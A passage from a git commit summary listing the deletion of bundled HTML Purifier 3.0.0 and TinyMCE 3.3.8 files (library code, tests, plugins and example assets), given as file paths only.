lib/htmlpurifier-3.0.0/library/HTMLPurifier/Printer/ConfigForm.js delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/Printer/ConfigForm.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/Printer/HTMLDefinition.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/Strategy.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/Strategy/Composite.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/Strategy/Core.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/Strategy/FixNesting.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/Strategy/MakeWellFormed.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/Strategy/RemoveForeignElements.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/Strategy/ValidateAttributes.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/TagTransform.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/TagTransform/Font.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/TagTransform/Simple.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/Token.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/TokenFactory.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/URI.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIDefinition.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIFilter.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIFilter/DisableExternal.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIFilter/DisableExternalResources.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIFilter/HostBlacklist.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIFilter/MakeAbsolute.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIParser.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIScheme.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIScheme/ftp.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIScheme/http.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIScheme/https.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIScheme/mailto.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIScheme/news.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIScheme/nntp.php delete mode 100644 lib/htmlpurifier-3.0.0/library/HTMLPurifier/URISchemeRegistry.php delete mode 100644 lib/htmlpurifier-3.0.0/maintenance/.htaccess delete mode 100644 lib/htmlpurifier-3.0.0/maintenance/PH5P.patch delete mode 100644 lib/htmlpurifier-3.0.0/maintenance/PH5P.php delete mode 100644 lib/htmlpurifier-3.0.0/maintenance/common.php delete mode 100755 lib/htmlpurifier-3.0.0/maintenance/flush-definition-cache.php delete mode 100755 lib/htmlpurifier-3.0.0/maintenance/generate-entity-file.php delete mode 100644 lib/htmlpurifier-3.0.0/maintenance/generate-ph5p-patch.php delete mode 100755 lib/htmlpurifier-3.0.0/maintenance/merge-library.php delete mode 100644 lib/htmlpurifier-3.0.0/package.php delete mode 100644 lib/htmlpurifier-3.0.0/phpdoc.ini delete mode 100644 lib/htmlpurifier-3.0.0/plugins/modx.txt delete mode 100644 lib/htmlpurifier-3.0.0/plugins/phorum/config.default.php delete mode 100644 lib/htmlpurifier-3.0.0/plugins/phorum/htmlpurifier.php delete mode 100644 lib/htmlpurifier-3.0.0/plugins/phorum/htmlpurifier/LICENSE delete mode 100644 lib/htmlpurifier-3.0.0/plugins/phorum/htmlpurifier/README delete mode 100644 lib/htmlpurifier-3.0.0/plugins/phorum/info.txt delete mode 100644 lib/htmlpurifier-3.0.0/plugins/phorum/init-config.php delete mode 100644 lib/htmlpurifier-3.0.0/plugins/phorum/install.txt delete mode 100644 lib/htmlpurifier-3.0.0/plugins/phorum/migrate.bbcode.php delete mode 100644 lib/htmlpurifier-3.0.0/plugins/phorum/settings.php delete mode 100644 lib/htmlpurifier-3.0.0/plugins/phorum/settings/form.php delete mode 100644 lib/htmlpurifier-3.0.0/plugins/phorum/settings/migrate-sigs-form.php delete mode 100644 lib/htmlpurifier-3.0.0/plugins/phorum/settings/migrate-sigs.php delete mode 100644 lib/htmlpurifier-3.0.0/plugins/phorum/settings/save.php delete mode 100644 lib/htmlpurifier-3.0.0/release1-update.php delete mode 100644 lib/htmlpurifier-3.0.0/release2-strict.php delete mode 100644 lib/htmlpurifier-3.0.0/release3-tag.php delete mode 100644 lib/htmlpurifier-3.0.0/smoketests/all.php delete mode 100644 lib/htmlpurifier-3.0.0/smoketests/attrTransform.php delete mode 100644 lib/htmlpurifier-3.0.0/smoketests/attrTransform.xml delete mode 100644 lib/htmlpurifier-3.0.0/smoketests/basic.php delete mode 100644 lib/htmlpurifier-3.0.0/smoketests/basic/allElements.css delete mode 100644 lib/htmlpurifier-3.0.0/smoketests/basic/allElements.html delete mode 100644 lib/htmlpurifier-3.0.0/smoketests/basic/legacy.css delete mode 100644 lib/htmlpurifier-3.0.0/smoketests/basic/legacy.html delete mode 100644 lib/htmlpurifier-3.0.0/smoketests/common.php delete mode 100644 lib/htmlpurifier-3.0.0/smoketests/configForm.php delete mode 100644 lib/htmlpurifier-3.0.0/smoketests/extractStyleBlocks.php delete mode 100644 lib/htmlpurifier-3.0.0/smoketests/img.png delete mode 100644 lib/htmlpurifier-3.0.0/smoketests/loadFunc.php delete mode 100644 lib/htmlpurifier-3.0.0/smoketests/preserveYouTube.php delete mode 100644 lib/htmlpurifier-3.0.0/smoketests/printDefinition.php delete mode 100644 lib/htmlpurifier-3.0.0/smoketests/testSchema.php delete mode 100644 lib/htmlpurifier-3.0.0/smoketests/utf8.php delete mode 100644 lib/htmlpurifier-3.0.0/smoketests/variableWidthAttack.php delete mode 100644 lib/htmlpurifier-3.0.0/smoketests/xssAttacks.php delete mode 100644 lib/htmlpurifier-3.0.0/smoketests/xssAttacks.xml delete mode 100644 lib/htmlpurifier-3.0.0/svn.php delete mode 100644 lib/htmlpurifier-3.0.0/test-settings.sample.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/CliTestCase.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/Debugger.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrCollectionsTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/AlphaValueTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/BackgroundPositionTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/BackgroundTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/BorderTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/ColorTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/CompositeTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/FilterTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/FontFamilyTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/FontTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/LengthTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/ListStyleTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/MultipleTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/NumberTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/PercentageTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/TextDecorationTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/URITest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSSTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/EnumTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/HTML/BoolTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/HTML/ColorTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/HTML/FrameTargetTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/HTML/IDTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/HTML/LengthTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/HTML/LinkTypesTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/HTML/MultiLengthTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/HTML/NmtokensTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/HTML/PixelsTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/IntegerTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/LangTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/TextTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/URI/Email/SimpleCheckTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/URI/EmailHarness.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/URI/HostTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/URI/IPv4Test.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/URI/IPv6Test.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/URITest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDefHarness.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDefTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransform/BdoDirTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransform/BgColorTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransform/BoolToCSSTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransform/BorderTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransform/EnumToCSSTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransform/ImgRequiredTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransform/ImgSpaceTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransform/LangTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransform/LengthTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransform/NameTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransformHarness.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransformTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTypesTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrValidator_ErrorsTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ChildDef/ChameleonTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ChildDef/CustomTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ChildDef/OptionalTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ChildDef/RequiredTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ChildDef/StrictBlockquoteTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ChildDef/TableTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ChildDefHarness.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ComplexHarness.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ConfigSchemaTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ConfigTest-create.ini delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ConfigTest-finalize.ini delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ConfigTest-loadIni.ini delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ConfigTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ContextTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/DefinitionCache/Decorator/CleanupTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/DefinitionCache/Decorator/MemoryTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/DefinitionCache/DecoratorHarness.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/DefinitionCache/DecoratorTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/DefinitionCache/SerializerTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/DefinitionCacheFactoryTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/DefinitionCacheHarness.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/DefinitionCacheTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/DefinitionTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/DefinitionTestable.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/DoctypeRegistryTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ElementDefTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/EncoderTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/EntityLookupTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/EntityParserTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ErrorCollectorEMock.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ErrorCollectorTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ErrorsHarness.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Filter/ExtractStyleBlocksTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/GeneratorTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/HTMLDefinitionTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/HTMLModule/ObjectTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/HTMLModule/RubyTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/HTMLModule/ScriptingTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/HTMLModule/TidyTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/HTMLModuleHarness.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/HTMLModuleManagerTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/HTMLModuleTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Harness.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/IDAccumulatorTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Injector/AutoParagraphTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Injector/LinkifyTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Injector/PurifierLinkifyTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/InjectorHarness.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/LanguageFactoryTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/LanguageTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Lexer/DirectLexTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Lexer/DirectLex_ErrorsTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/LexerTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/PercentEncoderTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/SimpleTest/Reporter.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/CompositeTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/CoreTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/ErrorsHarness.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/FixNestingTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/FixNesting_ErrorsTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/MakeWellFormedTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/MakeWellFormed_ErrorsTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/MakeWellFormed_InjectorTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/RemoveForeignElementsTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/RemoveForeignElements_ErrorsTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/RemoveForeignElements_TidyTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/ValidateAttributesTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/ValidateAttributes_IDTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/ValidateAttributes_TidyTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/StrategyHarness.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/TagTransformTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/TokenFactoryTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/TokenTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/URIDefinitionTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/URIFilter/DisableExternalResourcesTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/URIFilter/DisableExternalTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/URIFilter/HostBlacklistTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/URIFilter/MakeAbsoluteTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/URIFilterHarness.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/URIHarness.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/URIParserTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/URISchemeRegistryTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/URISchemeTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifier/URITest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/HTMLPurifierTest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/common.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/generate_mock_once.func.php delete mode 100755 lib/htmlpurifier-3.0.0/tests/index.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/multitest.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/path2class.func.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/tally_errors.func.php delete mode 100644 lib/htmlpurifier-3.0.0/tests/test_files.php delete mode 100644 tinymce-3.3.8/changelog.txt delete mode 100644 tinymce-3.3.8/examples/css/content.css delete mode 100644 tinymce-3.3.8/examples/css/word.css delete mode 100644 tinymce-3.3.8/examples/custom_formats.html delete mode 100644 tinymce-3.3.8/examples/full.html delete mode 100644 tinymce-3.3.8/examples/index.html delete mode 100644 tinymce-3.3.8/examples/lists/image_list.js delete mode 100644 tinymce-3.3.8/examples/lists/link_list.js delete mode 100644 tinymce-3.3.8/examples/lists/media_list.js delete mode 100644 tinymce-3.3.8/examples/lists/template_list.js delete mode 100644 tinymce-3.3.8/examples/media/logo.jpg delete mode 100644 tinymce-3.3.8/examples/media/logo_over.jpg delete mode 100644 tinymce-3.3.8/examples/media/sample.avi delete mode 100644 tinymce-3.3.8/examples/media/sample.dcr delete mode 100644 tinymce-3.3.8/examples/media/sample.mov delete mode 100644 tinymce-3.3.8/examples/media/sample.ram delete mode 100644 tinymce-3.3.8/examples/media/sample.rm delete mode 100644 tinymce-3.3.8/examples/media/sample.swf delete mode 100644 tinymce-3.3.8/examples/menu.html delete mode 100644 tinymce-3.3.8/examples/simple.html delete mode 100644 tinymce-3.3.8/examples/skins.html delete mode 100644 tinymce-3.3.8/examples/templates/layout1.htm delete mode 100644 tinymce-3.3.8/examples/templates/snippet1.htm delete mode 100644 tinymce-3.3.8/examples/translate.html delete mode 100644 tinymce-3.3.8/examples/word.html delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/langs/en.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/license.txt delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/advhr/css/advhr.css delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/advhr/editor_plugin.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/advhr/editor_plugin_src.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/advhr/js/rule.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/advhr/langs/en_dlg.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/advhr/rule.htm delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/advimage/css/advimage.css delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/advimage/editor_plugin.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/advimage/editor_plugin_src.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/advimage/image.htm delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/advimage/img/sample.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/advimage/js/image.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/advimage/langs/en_dlg.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/advlink/css/advlink.css delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/advlink/editor_plugin.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/advlink/editor_plugin_src.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/advlink/js/advlink.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/advlink/langs/en_dlg.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/advlink/link.htm delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/advlist/editor_plugin.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/advlist/editor_plugin_src.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/autoresize/editor_plugin.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/autoresize/editor_plugin_src.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/autosave/editor_plugin.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/autosave/editor_plugin_src.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/autosave/langs/en.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/bbcode/editor_plugin.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/bbcode/editor_plugin_src.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/contextmenu/editor_plugin.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/contextmenu/editor_plugin_src.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/directionality/editor_plugin.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/directionality/editor_plugin_src.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/editor_plugin.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/editor_plugin_src.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/emotions.htm delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-cool.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-cry.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-embarassed.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-foot-in-mouth.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-frown.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-innocent.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-kiss.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-laughing.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-money-mouth.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-sealed.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-smile.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-surprised.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-tongue-out.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-undecided.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-wink.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-yell.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/js/emotions.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/langs/en_dlg.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/example/dialog.htm delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/example/editor_plugin.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/example/editor_plugin_src.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/example/img/example.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/example/js/dialog.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/example/langs/en.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/example/langs/en_dlg.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/fullpage/css/fullpage.css delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/fullpage/editor_plugin.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/fullpage/editor_plugin_src.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/fullpage/fullpage.htm delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/fullpage/js/fullpage.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/fullpage/langs/en_dlg.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/fullscreen/editor_plugin.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/fullscreen/editor_plugin_src.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/fullscreen/fullscreen.htm delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/iespell/editor_plugin.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/iespell/editor_plugin_src.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/inlinepopups/editor_plugin.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/inlinepopups/editor_plugin_src.js delete mode 100644 